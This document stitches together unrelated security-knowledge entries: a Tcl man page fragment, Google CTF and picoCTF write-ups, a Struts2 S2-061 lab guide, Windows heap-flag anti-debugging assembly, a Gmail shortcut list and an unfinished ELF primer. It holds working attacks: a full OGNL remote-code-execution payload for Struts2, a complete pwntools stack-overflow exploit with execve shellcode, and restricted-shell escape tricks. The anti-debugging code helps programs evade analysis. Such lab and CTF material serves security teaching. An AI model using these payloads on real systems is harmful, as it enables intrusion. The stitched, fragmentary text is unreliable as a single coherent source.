缺省的不是覆写它,而是引发一个错误。使用 -force 标志来强行覆写现存的资源。 .RE .SH "资源类型 RESOURCE TYPES" 资源类型被定义为一个四字符的字符串,它被映射成一个底层 id。例如,\fBTEXT\fR 参照的 Macintosh 资源类型是文本。类型 \fBSTR#\fR 是已计数的(counted)的字符串的一个列表。所有 Macintosh 资源必须是某种类型的。要得到通常使用的资源类型的一个完整列表请参见 Macintosh 文档。 .SH "资源 RESOURCE IDS" 对于本命令,一个资源的 id 的概念(notion)实际上涉及 Macintosh 资源中的两个概念。在你可以使用资源 Id 的每个地方,你可以使用资源名字或者一个资源数。查找和返回总是偏好名字而不是数。例如,如果一个资源的名字存在则 \fBresource list\fR 命令将返回这个名字,如果资源的名字是 NULL 则返回数。 .SH "移植要点 PORTABILITY ISSUES" 只在 Macintosh 上可获得这个命令。 .SH "参见 SEE ALSO" open(n) .SH "关键字 KEYWORDS" open, resource .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/29 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Episode 2: Challenge 3 ## Description > Welcome to the shell. See if you can leave. socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337 > > Hint: How can you ask the shell for which commands are available? ## Solution Let's connect to the server: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP002/Challenge_03] └─$ socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337 == proof-of-work: disabled == bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell ___ _ _ ____ _ _ _ / _ \ _ _ __ _ _ __ __ _ _ __ | |_ (_) _ __ ___ / ___| | |__ ___ | || | | | | || | | | / _` || `__|/ _` || `_ \ | __|| || `_ \ / _ \ \___ \ | `_ \ / _ \| || | | |_| || |_| || (_| || | | (_| || | | || |_ | || | | || __/ ___) || | | || __/| || | \__\_\ \__,_| \__,_||_| \__,_||_| |_| \__||_||_| |_| \___| |____/ |_| |_| \___||_||_| The D&R team has detected some suspicious activity on your account and has quarantined you while they investigate 942 days stuck at ~ ~ $ ls command blocked: ls check completions to see available commands ~ $ echo Test command blocked: echo Test check completions to see available commands ~ $ pwd command blocked: pwd check completions to see available commands ~ $ ``` Looks like a restricted shell with many blocked commands. As suggested, we'll try the completions to see the available commands: ```console check completions to see available commands ~ $ ! enable quarantine_protocol . esac read : eval readarray [ exec readonly [[ exit return ]] export select _dnr_toolkit false set alias fc shift bg fg shopt bind fi source break for suspend builtin function test caller getopts then case hash time cd help times command history trap compgen if true complete in type compopt jobs typeset continue kill ulimit coproc let umask declare local unalias dirs logout unset disown mapfile until do popd wait done printf while echo pushd { elif pwd } else quarantine ``` Well, actually, most of those were blocked as well: ```console ~ $ read command blocked: read check completions to see available commands ~ $ ~ $ help command blocked: help check completions to see available commands ~ $ printf command blocked: printf check completions to see available commands ``` The only ones that weren't really blocked were: ```console ~ $ time command blocked: false check completions to see available commands real 0m0.000s user 0m0.000s sys 0m0.000s ~ $ coproc bash: syntax error near unexpected token `newline' ``` However, no matter what I tried, couldn't get them to do anything useful. It was possible to locate the flag with tab completion, but nothing more. ```console ~ $ / bin/ lib32/ root/ boot/ lib64/ run/ default_serverlist libx32/ sbin/ dev/ login.sh srv/ dnr_helpers.sh media/ sys/ etc/ mnt/ tmp/ flag opt/ usr/ home/ proc/ var/ lib/ quarantine.sh ``` At this point I got a hint from creator which allowed me to proceed. The hint was to look for something unusual in the command list, and try tab completions. This leads us to: ```console ~ $ _dnr_toolkit command blocked: _dnr_toolkit check completions to see available commands ~ $ _dnr_toolkit collectbrowserhistory help quarantineuser collectfiles launchbinary sendkeepalive collectnetworkinfo listprocesses hashfile osquery ``` Using tab completion, we can get suggestions for the command. The most useful one seemed to be: ```console ~ $ _dnr_toolkit sendkeepalive reading serverlist from /default_serverlist invalid server spec: testspec email:[email protected] server:investigator-1-xyz server:central-host-xyz server:local-controller-xyz ``` Notice how it takes the server list from `/default_serverlist`, and (presumably) provides us with suggestions from within that file. What if we try to point it to `/flag` instead? After a few attempts, we find out that `--serverlist` is the argument used to point the program to a different server list. ```console ~ $ _dnr_toolkit sendkeepalive --serverlist /flag reading serverlist from /flag invalid server spec: https://h4ck1ng.google/solve/Y0U_c0mpL3T3_M3 ``` Tab completion FTW! ## Unintended solutions Some very creative unintended solutions were shared in the Discord channel. Here are a few: ### Override command via `function` (credit: 44670 / LolzCat) ```console ~ $ function echo() { /bin/cat /flag; } ~ $ echo https://h4ck1ng.google/solve/Y0U_c0mpL3T3_M3 https://h4ck1ng.google/solve/Y0U_c0mpL3T3_M3 ``` ### Use `coproc` (credit: Beavis) ```console ~ $ coproc $(</flag) { x; } bash: `https://h4ck1ng.google/solve/Y0U_c0mpL3T3_M3': not a valid identifier ``` ### shell-expand-line (credit: c4r50nz / pbnjay) Type ` $(</flag)` and then execute `<esc> CTRL-E`, which will replace the command with the contents of the flag.
sec-knowleage
#!/usr/bin/python3 import os, tempfile, subprocess try: data = input(">").strip() if len(data) > 12: raise Exception("too large") with tempfile.TemporaryDirectory() as dirname: name = os.path.join(dirname, "user") with open(name, "w") as f: f.write(data) os.chmod(name, 0o500) print(subprocess.check_output(name)) except Exception as e: print("FAIL:", e) exit(1)
sec-knowleage
# Struts2 S2-061 Remote Code Execution Vulnerablity (CVE-2020-17530) [中文版本(Chinese version)](README.zh-cn.md) In the versions prior to Struts 2.5.25, when evaluated on raw user input in tag attributes, may lead to remote code execution. This vulnerability is the bypass of the OGNL sandbox, which enhance after S2-059. References: - https://cwiki.apache.org/confluence/display/WW/S2-061 - https://github.com/ka1n4t/CVE-2020-17530 - https://www.anquanke.com/post/id/225252 - https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g ## Setup Start a Struts 2.5.25 server: ``` docker compose up -d ``` After the environment is started, visit `http://your-ip:8080/` and you will see a simple page. It is just a copy application of the [S2-059](https://github.com/vulhub/vulhub/tree/master/struts2/s2-059), except for the different Struts versions. ## Exploit Send the following request to execute the `id` command: ``` POST /index.action HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 829 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- ``` It can be seen that the result of the `id` command will be displayed on the page: ![](1.png)
sec-knowleage
# Heap Flags ## 关于Heap flags `Heap flags`包含有两个与`NtGlobalFlag`一起初始化的标志: `Flags`和`ForceFlags`. 这两个字段的值不仅会受调试器的影响, 还会由windows版本而不同, 字段的位置也取决于windows的版本. * Flags字段: * 在32位Windows NT, Windows 2000和Windows XP中, `Flags`位于堆的`0x0C`偏移处. 在32位Windows Vista及更新的系统中, 它位于`0x40`偏移处. * 在64位Windows XP中, `Flags`字段位于堆的`0x14`偏移处, 而在64位Windows Vista及更新的系统中, 它则是位于`0x70`偏移处. * ForceFlags字段: * 在32位Windows NT, Windows 2000和Windows XP中, `ForceFlags`位于堆的`0x10`偏移处. 在32位Windows Vista及更新的系统中, 它位于`0x44`偏移处. * 在64位Windows XP中, `ForceFlags`字段位于堆的`0x18`偏移处, 而在64位Windows Vista及更新的系统中, 它则是位于`0x74`偏移处. 在所有版本的Windows中, `Flags`字段的值正常情况都设为`HEAP_GROWABLE(2)`, 而`ForceFlags`字段正常情况都设为`0`. 然而对于一个32位进程(64位程序不会有此困扰), 这两个默认值, 都取决于它的宿主进程(host process)的[`subsystem`](https://msdn.microsoft.com/en-us/library/ms933120.aspx)版本(这里不是指所说的比如win10的linux子系统). 只有当`subsystem`在`3.51`及更高的版本, 字段的默认值才如前所述. 如果是在`3.10-3.50`版本之间, 则两个字段的`HEAP_CREATE_ALIGN_16 (0x10000)`都会被设置. 如果版本低于`3.10`, 那么这个程序文件就根本不会被运行. 如果某操作将`Flags`和`ForgeFlags`字段的值分别设为`2`和`0`, 但是却未对`subsystem`版本进行检查, 那么就可以表明该动作是为了隐藏调试器而进行的. 当调试器存在时, 在`Windows NT`, `Windows 2000`和32位`Windows XP`系统下, `Flags`字段会设置以下标志: ``` c HEAP_GROWABLE (2) HEAP_TAIL_CHECKING_ENABLED (0x20) HEAP_FREE_CHECKING_ENABLED (0x40) HEAP_SKIP_VALIDATION_CHECKS (0x10000000) HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000) ``` 在64位`Windows XP`系统, `Windows Vista`及更新的系统版本, `Flags`字段则会设置以下标志(少了`HEAP_SKIP_VALIDATION_CHECKS (0x10000000)`): ``` c HEAP_GROWABLE (2) HEAP_TAIL_CHECKING_ENABLED (0x20) HEAP_FREE_CHECKING_ENABLED (0x40) HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000) ``` 而对于`ForgeFlags`字段, 正常情况则会设置以下标志: ``` c HEAP_TAIL_CHECKING_ENABLED (0x20) HEAP_FREE_CHECKING_ENABLED (0x40) HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000) ``` 因为`NtGlobalFlag`标志的关系, `heap`也会设置一些标志位 * 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_ENABLE_TAIL_CHECK`标志, 那么在`heap`字段中就会设置`HEAP_TAIL_CHECKING_ENABLED`标志. * 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_ENABLE_FREE_CHECK`标志, 那么在`heap`字段中就会设置`FLG_HEAP_ENABLE_FREE_CHECK`标志. * 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_VALIDATE_PARAMETERS`标志, 那么在`heap`字段中就会设置`HEAP_VALIDATE_PARAMETERS_ENABLED`标志(在`Windows NT`和`Windows 2000`中还会设置`HEAP_CREATE_ALIGN_16 (0x10000)`标志). `heap flags`同样也如上节的`NtGlobalFlag`那样, 不过它受到注册表`HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<filename>`位置的`PageHeapFlags"`键的控制. ## 获取heap位置 有多种方法能获知`heap`的位置, 方法之一就是`kernel32`的`GetProcessHeap()`函数, 当然也可以用以下的32位汇编代码来检测32位环境(实际上就有一些壳避免使用该api函数, 直接查询PEB): ``` asm mov eax, fs:[30h] ;Process Environment Block mov eax, [eax+18h] ;get process heap base ``` 或使用以下64位代码来检测64位环境 ``` asm push 60h pop rsi gs:lodsq ;Process Environment Block mov eax, [rax+30h] ;get process heap base ``` 或使用以下32位代码检测64位环境 ``` asm mov eax, fs:[30h] ;Process Environment Block ;64-bit Process Environment Block ;follows 32-bit Process Environment Block mov eax, [eax+1030h] ;get process heap base ``` 另外一种方法则是使用`kernel32`的`GetProcessHeaps()`函数, 其实它只是简单的转给了`ntdll`的`RtlGetProcessHeaps()`函数, 这个函数会返回属于当前进程的堆的数组, 而数组的第一个堆, 就跟`kernel32`的`GetProcessHeap()`函数所返回的是一样的. 这个过程可以用32位代码检测32位windows环境来实现: ``` asm push 30h pop esi fs:lodsd ;Process Environment Block ;get process heaps list base mov esi, [esi+eax+5ch] lodsd ``` 同上, 用64位代码检测64位windows环境的代码是: ``` asm push 60h pop rsi gs:lodsq ;Process Environment Block ;get process heaps list base mov esi, [rsi*2+rax+20h] lodsd ``` 或使用32位代码检测64位window环境: ``` asm mov eax, fs:[30h] ;Process Environment Block ;64-bit Process Environment Block ;follows 32-bit Process Environment Block mov esi, [eax+10f0h] ;get process heaps list base lodsd ``` ## 检测Flags字段 那么显然, 检测调试器我们就可以从检测那几个`Flags`和`ForgeFlags`的标志位入手. 先看`Flags`字段的检测代码, 用32位代码检测32位windows环境, 且`subsystem`版本在`3.10-3.50`之间: ``` asm call GetVersion cmp al, 6 cmc sbb ebx, ebx and ebx, 34h mov eax, fs:[30h] ;Process Environment Block mov eax, [eax+18h] ;get process heap base mov eax, [eax+ebx+0ch] ;Flags ;neither HEAP_CREATE_ALIGN_16 ;nor HEAP_SKIP_VALIDATION_CHECKS and eax, 0effeffffh ;HEAP_GROWABLE ;+ HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED cmp eax, 40000062h je being_debugged ``` 32位代码检测32位windows环境, 且`subsystem`为`3.51`及更高版本: ``` asm call GetVersion cmp al, 6 cmc sbb ebx, ebx and ebx, 34h mov eax, fs:[30h] ;Process Environment Block mov eax, [eax+18h] ;get process heap base mov eax, [eax+ebx+0ch] ;Flags ;not HEAP_SKIP_VALIDATION_CHECKS bswap eax and al, 0efh ;HEAP_GROWABLE ;+ HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED ;reversed by bswap cmp eax, 62000040h je being_debugged ``` 64位代码检测64位windows环境(64位进程不必受`subsystem`版本困扰): ``` asm push 60h pop rsi gs:lodsq ;Process Environment Block mov ebx, [rax+30h] ;get process heap base call GetVersion cmp al, 6 sbb rax, rax and al, 0a4h ;HEAP_GROWABLE ;+ HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED cmp d [rbx+rax+70h], 40000062h ;Flags je being_debugged ``` 用32位代码检测64位windows环境: ``` asm push 30h pop eax mov ebx, fs:[eax] ;Process Environment Block ;64-bit Process Environment Block ;follows 32-bit Process Environment Block mov ah, 10h mov ebx, [ebx+eax] ;get process heap base call GetVersion cmp al, 6 sbb eax, eax and al, 0a4h ;Flags ;HEAP_GROWABLE ;+ HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED cmp [ebx+eax+70h], 40000062h je being_debugged ``` 如果是直接通过`KUSER_SHARED_DATA`结构的`NtMajorVersion`字段(位于2G用户空间的`0x7ffe026c`偏移处)获取该值(在所有32位/64位版本的Windows都可以获取该值), 可以进一步混淆`kernel32`的`GetVersion()`函数调用操作. ## 检测ForgeFlags字段 当然另一个方法就是检测`ForgeFlags`字段, 以下是32位代码检测32位Windows环境, `subsystem`版本在`3.10-3.50`之间: ``` asm call GetVersion cmp al, 6 cmc sbb ebx, ebx and ebx, 34h mov eax, fs:[30h] ;Process Environment Block mov eax, [eax+18h] ;get process heap base mov eax, [eax+ebx+10h] ;ForceFlags ;not HEAP_CREATE_ALIGN_16 btr eax, 10h ;HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED cmp eax, 40000060h je being_debugged ``` 32位代码检测32位windows环境, 且`subsystem`为`3.51`及更高版本: ``` asm call GetVersion cmp al, 6 cmc sbb ebx, ebx and ebx, 34h mov eax, fs:[30h] ;Process Environment Block mov eax, [eax+18h] ;get process heap base ;ForceFlags ;HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED cmp [eax+ebx+10h], 40000060h je being_debugged ``` 64位代码检测64位windows环境(64位进程不必受`subsystem`版本困扰): ``` asm push 60h pop rsi gs:lodsq ;Process Environment Block mov ebx, [rax+30h] ;get process heap base call GetVersion cmp al, 6 sbb rax, rax and al, 0a4h ;ForceFlags ;HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED cmp d [rbx+rax+74h], 40000060h je being_debugged ``` 用32位代码检测64位windows环境: ``` asm call GetVersion cmp al, 6 push 30h pop eax mov ebx, fs:[eax] ;Process Environment Block ;64-bit Process Environment Block ;follows 32-bit Process Environment Block mov ah, 10h mov ebx, [ebx+eax] ;get process heap base sbb eax, eax and al, 0a4h ;ForceFlags ;HEAP_TAIL_CHECKING_ENABLED ;+ HEAP_FREE_CHECKING_ENABLED ;+ HEAP_VALIDATE_PARAMETERS_ENABLED cmp [ebx+eax+74h], 40000060h je being_debugged ``` ## 参考链接 * [The "Ultimate" Anti-Debugging Reference](http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf)
sec-knowleage
# Binary Gauntlet 1 Category: Binary Exploitation, 30 points ## Description > Okay, time for a challenge. A binary file was attached. ## Solution This is the follow-up for [Binary Gauntlet 0](Binary_Gauntlet_0.md). Let's run `checksec` on the file: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Binary_Gauntlet_1] └─$ checksec --file=gauntlet [*] '/media/sf_CTFs/pico/Binary_Gauntlet_1/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ``` We can see that there are virtually no protections for this program. Using Ghidra, we can check the decompiled output of the program: ```c undefined8 main(void) { char local_78 [104]; char *local_10; local_10 = (char *)malloc(1000); printf("%p\n",local_78); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\0'; printf(local_10); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\0'; strcpy(local_78,local_10); return 0; } ``` We can see the the SIGSEGV handler from the previous challenge was removed. We can also see that the local buffer's address is leaked to us. Since NX is disabled according to `checksec` and the stack is executable, if we're able to copy some shellcode to the stack we'll be able to execute it. Getting the shellcode to `local_78` which resides on the stack is easy - we just need to provide it to the second `fgets` which will conveniently copy it to `local_78` using `strcpy`. We just need to make sure that the shellcode doesn't have any NULL pointers since `strcpy` will stop copying the buffer once it hits a NULL pointer. We already know the address of `local_78` from the leak, so we just need to make sure that the program eventually jumps to it. We can do that by overflowing the stack and overriding the return pointer of `main` so that instead of returning to the function that called it, it will jump to `local_78` instead. The following script automates the process: ```python # First, generate a pwntools template using the following command: # pwn template --host mercury.picoctf.net --port 32853 ./gauntlet #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX disabled # PIE: No PIE (0x400000) # RWX: Has RWX segments def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere with open("/proc/sys/kernel/core_pattern") as f: core_pattern = f.read() if core_pattern.strip() == "core": from pathlib import Path raise Exception("Please run the following command first:\n" "mkdir -p {0} && " "sudo bash -c 'echo {0}/core_dump > /proc/sys/kernel/core_pattern'" .format(Path.home() / "core")) #os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(150, n = exe.bytes) proc.sendline("dummy") proc.sendline(payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {}".format(offset)) return offset overflow_offset = get_overflow_offset() io = start() shellcode = shellcraft.sh() log.info("Shellcode:\n{}".format(shellcode)) buffer_address = int(io.recvlineS(), 16) log.info(f"Local Buffer address: {hex(buffer_address)}") log.info("Sending dummy payload") io.sendline("dummy") io.recvlineS() payload = fit({ 0: asm(shellcode), overflow_offset: p64(buffer_address) }) log.info("Sending payload:\n{}".format(hexdump(payload))) io.sendline(payload) io.interactive() ``` Running it: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Binary_Gauntlet_1] └─$ python3 exploit.py [*] '/media/sf_CTFs/pico/Binary_Gauntlet_1/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Starting local process '/media/sf_CTFs/pico/Binary_Gauntlet_1/gauntlet': pid 2284 [*] Process '/media/sf_CTFs/pico/Binary_Gauntlet_1/gauntlet' stopped with exit code -11 (SIGSEGV) (pid 2284) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/Binary_Gauntlet_1/core.2284' Arch: amd64-64-little RIP: 0x40074e RSP: 0x7ffe75deb408 Exe: '/media/sf_CTFs/pico/Binary_Gauntlet_1/gauntlet' (0x400000) Fault: 0x6161616161616170 [*] Overflow offset: 120 [+] Opening connection to mercury.picoctf.net on port 32853: Done [*] Shellcode: /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall [*] Local Buffer address: 0x7ffe4ad0f590 [*] Sending dummy payload [*] Sending payload: 00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│ 00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│ 00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│ 00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│ 00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│ 00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│ 00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│ 00000070 64 61 61 62 65 61 61 62 90 f5 d0 4a fe 7f 00 00 │daab│eaab│···J│····│ 00000080 [*] Switching to interactive mode $ ls flag.txt gauntlet gauntlet_no_aslr xinet_startup.sh $ cat flag.txt c6e16a1b4182c2801ed657d4c482af88 ``` The flag: `c6e16a1b4182c2801ed657d4c482af88`
sec-knowleage
--- title: Gmail date: 2022-11-23 16:23:31.699967 background: bg-[#d8503f] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 90 keyboard shortcuts found on Gmail --- Keyboard Shortcuts ------------------ ### Compose and Chat Shortcut | Action ---|--- `P` | Previous message in an open conversation `N` | Next message in an open conversation `Shift` `Esc` | Focus main window `Esc` | Focus latest chat or compose `Ctrl` `.` | Advance to the next chat or compose `Ctrl` `,` | Advance to the previous chat or compose `Ctrl` `Enter` | Send `Ctrl` `Shift` `C` | Add cc recipients `Ctrl` `Shift` `B` | Add bcc recipients `Ctrl` `Shift` `F` | Access custom from `Ctrl` `K` | Insert a link `Cmd` `;` | Go to next misspelled word (Mac only) `Ctrl` `M` | Open spelling suggestions {.shortcuts} ### Formatting Text Shortcut | Action ---|--- `Ctrl` `Shift` `5` | Previous font `Ctrl` `Shift` `6` | Next font `Ctrl` `Shift` `-` | Decrease font size `Ctrl` `Shift` `+` | Increase font size `Ctrl` `B` | Bold `Ctrl` `I` | Italics `Ctrl` `U` | Underline `Ctrl` `Shift` `7` | Numbered list `Ctrl` `Shift` `8` | Bulleted list `Ctrl` `Shift` `9` | Quote `Ctrl` `[` | Indent less `Ctrl` `]` | Indent more `Ctrl` `Shift` `L` | Align left `Ctrl` `Shift` `E` | Align center `Ctrl` `Shift` `R` | Align right `Ctrl` `\` | Remove formatting {.shortcuts} ### Actions {.row-span-2} Shortcut | Action ---|--- `,` | Move focus to toolbar `X` | Select conversation `S` | Toggle star or rotate among superstars `E` | Archive `M` | Mute conversation `Shift` `1` | Report as spam `Shift` `3` | Delete `R` | Reply `Shift` `R` | Reply in a new window `A` | Reply all `Shift` `A` | Reply all in a new window `F` | Forward `Shift` `F` | Forward in a new window `Shift` `N` | Update conversation `]/[` | Archive conversation and go to previous or next `Z` | Undo last action `Shift` `I` | Mark as read `Shift` `U` | Mark as unread `Shift` `-` | Mark unread from the selected message `=` | Mark as important `-` | Mark as not important `B` | Snooze `;` | Expand entire conversation `Shift` `;` | Collapse entire conversation `Shift` `T` | Add conversation to tasks {.shortcuts} ### Hangouts Shortcut | Action ---|--- `H` `M` | Show menu `H` `A` | Show archived hangouts `H` `I` | Show hangout requests `H` `C` | Focus on the conversation list `H` `P` | Open phone {.shortcuts} ### Jumping Shortcut | Action ---|--- `G` `I` | Go to inbox `G` `S` | Go to starred conversations `G` `B` | Go to snoozed conversations `G` `T` | Go to sent messages `S` `D` | Go to drafts `G` `A` | Go to all mail `Ctrl` `Alt` `,/.` | Switch between the calendar, keep, and tasks sidebar and your inbox `G` `K` | Go to tasks `G` `L` | Go to label {.shortcuts} ### Threadlist Selection Shortcut | Action ---|--- `Shift` `8` `A` | Select all conversations `Shift` `8` `N` | Deselect all conversations `Shift` `8` `R` | Select read conversations `Shift` `8` `U` | Select unread conversations `Shift` `8` `S` | Select starred conversations `Shift` `8` `T` | Select unstarred conversations {.shortcuts} ### Navigation Shortcut | Action ---|--- `G` `N` | Go to next page `G` `P` | Go to previous page `U` | Back to threadlist `K` | Newer conversation `J` | Older conversation `Enter` | Open conversation <code>\`</code> | Go to next inbox section `Shift` <code>\`</code> | Go to previous inbox section {.shortcuts} ### Application Shortcut | Action ---|--- `C` | Compose `D` | Compose in a new tab `/` | Search mail `G` | Search chat contacts `.` | Open more actions menu `V` | Open move to menu `L` | Open label as menu `?` | Open keyboard shortcut help {.shortcuts} Also see -------- - [Keyboard shortcuts for Gmail](https://support.google.com/mail/answer/6594?hl=en) _(support.google.com)_
sec-knowleage
### ELF 文件概述 > 本部分内容来源于 ELF 1.2 标准,内容经过一定的修改与整理,主要参考文献如下 > > 1. ELF 文件格式分析,北京大学,滕启明 > 2. ELF-摧毁圣诞 ### ELF 文件简介 ELF (Executable and Linkable Format)文件,也就是在 Linux 中的目标文件,主要有以下三种类型 - 可重定位文件(Relocatable File),包含由编译器生成的代码以及数据。链接器会将它与其它目标文件链接起来从而创建可执行文件或者共享目标文件。在 Linux 系统中,这种文件的后缀一般为 `.o` 。 - 可执行文件(Executable File),就是我们通常在 Linux 中执行的程序。 - 共享目标文件(Shared Object File),包含代码和数据,这种文件是我们所称的库文件,一般以 `.so` 结尾。一般情况下,它有以下两种使用情景: - 链接器(Link eDitor, ld)可能会处理它和其它可重定位文件以及共享目标文件,生成另外一个目标文件。 - 动态链接器(Dynamic Linker)将它与可执行文件以及其它共享目标组合在一起生成进程镜像。 > 关于Link eDitor的命名,https://en.wikipedia.org/wiki/GNU_linker 目标文件由汇编器和链接器创建,是文本程序的二进制形式,可以直接在处理器上运行。那些需要虚拟机才能够执行的程序(Java)不属于这一范围。 这里我们主要关注于 ELF 的文件格式。 ### ELF 文件格式 目标文件既会参与程序链接又会参与程序执行。出于方便性和效率考虑,根据过程的不同,目标文件格式提供了其内容的两种并行视图 首先,我们来**关注一下链接视图**。 文件开始处是 ELF 头部( **ELF Header**),它给出了整个文件的组织情况。 如果程序头部表(Program Header Table)存在的话,它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表,但是重定位文件不需要这个表。 节区部分包含在链接视图中要使用的大部分信息:指令、数据、符号表、重定位信息等等。 节区头部表(Section Header Table)包含了描述文件节区的信息,每个节区在表中都有一个表项,会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表,其它目标文件则无所谓,可以有,也可以没有。 对于**执行视图**来说,其主要的不同点在于没有了section,而有了多个segment。其实这里的 segment 大都是来源于链接视图中的 section。 注意: > 尽管图中是按照 ELF 头,程序头部表,节区,节区头部表的顺序排列的。但实际上除了 ELF 头部表以外,其它部分都没有严格的顺序。 ### ELF 文件数据形式 ELF 文件格式支持 8 位/32 位体系结构。当然,这种格式是可以扩展的,也可以支持更小的或者更大位数的处理器架构。因此,目标文件会包含一些控制数据,这部分数据表明了目标文件所使用的架构,这也使得它可以被通用的方式来识别和解释。目标文件中的其它数据采用目的处理器的格式进行编码,与在何种机器上创建没有关系。这里其实想表明的意思目标文件可以进行交叉编译,我们可以在 x86 平台生成 arm 平台的可执行代码。 目标文件中的所有数据结构都遵从“自然”大小和对齐规则。如下 | 名称 | 长度 | 对齐方式 | 用途 | | :------------ | :--: | :--: | :-----: | | Elf32_Addr | 4 | 4 | 无符号程序地址 | | Elf32_Half | 2 | 2 | 无符号半整型 | | Elf32_Off | 4 | 4 | 无符号文件偏移 | | Elf32_Sword | 4 | 4 | 有符号大整型 | | Elf32_Word | 4 | 4 | 无符号大整型 | | unsigned char | 1 | 1 | 无符号小整型 | 如果必要,数据结构可以包含显式地补齐来确保 4 字节对象按 4 字节对齐,强制数据结构的大小是 4 的整数倍等等。数据同样适用是对齐的。因此,包含一个 Elf32_Addr 类型成员的结构体会在文件中的 4 字节边界处对齐。 为了具有可移植性,ELF 文件不使用位域。 ### ELF Header介绍 ELF Header 描述了 ELF 文件的概要信息,利用这个数据结构可以索引到 ELF 文件的全部信息,数据结构如下: ```c #define EI_NIDENT 16 typedef struct { unsigned char e_ident[EI_NIDENT]; 